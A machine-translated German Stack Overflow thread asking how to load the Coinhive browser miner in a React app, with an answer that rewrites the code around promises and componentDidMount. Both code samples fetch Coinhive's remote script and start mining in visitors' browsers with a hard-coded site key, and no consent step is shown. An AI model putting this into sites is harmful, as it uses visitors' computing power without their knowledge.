Externes Skript innerhalb von React laden (mit load-script)

Question

Dieser Code ist eine einfache Re-Implementierung react-coin-hive, im Grunde versuche ich zu verstehen, was hier vor sich geht.

Es JavaScript für Coinhive lädt, jedoch erhalte ich die Fehler

Line 8: 'CoinHive' is not defined no-undef 

Hier die reagieren Code ist:

import React, {Component} from 'react'; 
import loadScript from 'load-script'; 

class App extends Component { 
    buildMiner = async() => { 
    this.miner = await new Promise(resolve => { 
     loadScript('https://coinhive.com/lib/coinhive.min.js',() => { 
     return resolve(CoinHive.Anonymous('WshUK1rGzM29IvlWo1qFhk37IgLIh3t3')); 
     }) 
    }) 
    }; 

    async componentWillMount() { 
    this.buildMiner(); 
    this.miner.start(); 
    } 

    render() { 
    return (
     <div> 
     Start mining! 
     </div> 
    ); 
    } 
} 

export default App; 

Wenn Sie Coinhive geladen waren normalerweise würden Sie Zugriff auf dieses Objekt haben und würde anrufen:

<script src="https://coinhive.com/lib/coinhive.min.js"></script> 

<script> 
    var miner = new CoinHive.Anonymous('YOUR_SITE_KEY'); 
    miner.start(); 
</script> 

Eine andere kleine Frage, die ich habe, ist, warum Sie se die Syntax:

buildMiner = async() => {} 

und nicht sagen:

async buildMiner() {} 

Answer 1

Ich würde vorschlagen, dass Sie die Coinhive Bibliothek in componentDidMount laden, wie es eine bewährte Methode ist: Reference und Zitat von dieser Seite:

Wenn Sie Daten von einem Remote-Endpunkt laden müssen, ist dies ein guter Ort, um die Netzwerkanforderung zu instanziieren.

reagieren zu allem über props und state, warum nicht mit initilazing den state in einer Konstruktor Funktion starten, wie so?

constructor(props) { 
    super(props); 
    this.state = { 
     loadScriptCalled: false, // state variable to let us know if loadScript has run 
     miner: null // state variable to let us know if the miner is available 
    }; 
    } 

Da auch Ihre buildMiner Funktion ein Promise zurückgibt, müssen Sie nicht async dann await rufen Ihre Funktion auf „promisify“.

buildMiner =() => { 
    return new Promise((resolve, reject) => { 
     loadScript('https://coinhive.com/lib/coinhive.min.js', 
     (error, script) => { 
     if (error) { 
      reject(error); 
     } else { 
      console.log("Loaded") 
      return resolve(CoinHive.Anonymous('WshUK1rGzM29IvlWo1qFhk37IgLIh3t3')); 
     } 
     }) 
    }) 
    }; 

Dann this.buildMiner ein Promise sein, müssen Sie einfach es als solches zu behandeln, und die Arbeit an Ihrer state Komponente in then() oder catch() Blöcke, etwa so:

componentDidMount() { 
    this.buildMiner() 
    .then((miner) => { 
     console.log("miner :", miner); 
     this.setState({ 
     loadScriptCalled: true, 
     miner: miner 
     }); 
     this.state.miner.start(); 
    }) 
    .catch((error) => { 
     this.setState({ 
     loadScriptCalled: true 
     }) 
     console.log("Failed to load CoinHive :", error); 
    }); 
    } 

komplette Code finden Sie hier : https://codesandbox.io/s/o4lo1my0ky

Hoffe, das hilft!